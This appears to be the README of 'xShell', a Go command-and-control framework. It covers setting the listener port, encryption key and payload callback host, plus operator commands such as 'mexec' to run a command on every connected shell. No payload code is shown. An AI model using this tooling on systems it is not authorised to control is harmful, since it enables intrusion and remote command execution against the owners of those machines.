xShell

A simple concurrent http shell

About

• Commands are executed by workers
• Workers are goroutines that simply execute the commands
• All workers are indexed in a worker map
• Workers are dynamically allocated based on workload
• Beacon workers are responsible for callbacks

Usage

Change listener port:

In c2/c2.go:

var Port string = "" // change port here
var Key string = "" // set encryption key here (must match key in payload)

Start listener:

go run c2/c2.go

If listening on a protected port (any port under 1024) use sudo:

sudo go run c2/c2.go

Listener commands:

shells - list all active shells
shell <shell_name> - interact with specifc shell
mexec <command> - executes command on all shells
clear - clears console
quit - shuts down C2
exit - return to main menu (shell continues to run)

Set call back host:

In payload/xShell.go:

var KeyStr string = "" // must be 16, 24, 32 bytes
var C2Host string = "" // set C2 host ip or hostname (must start with https://)
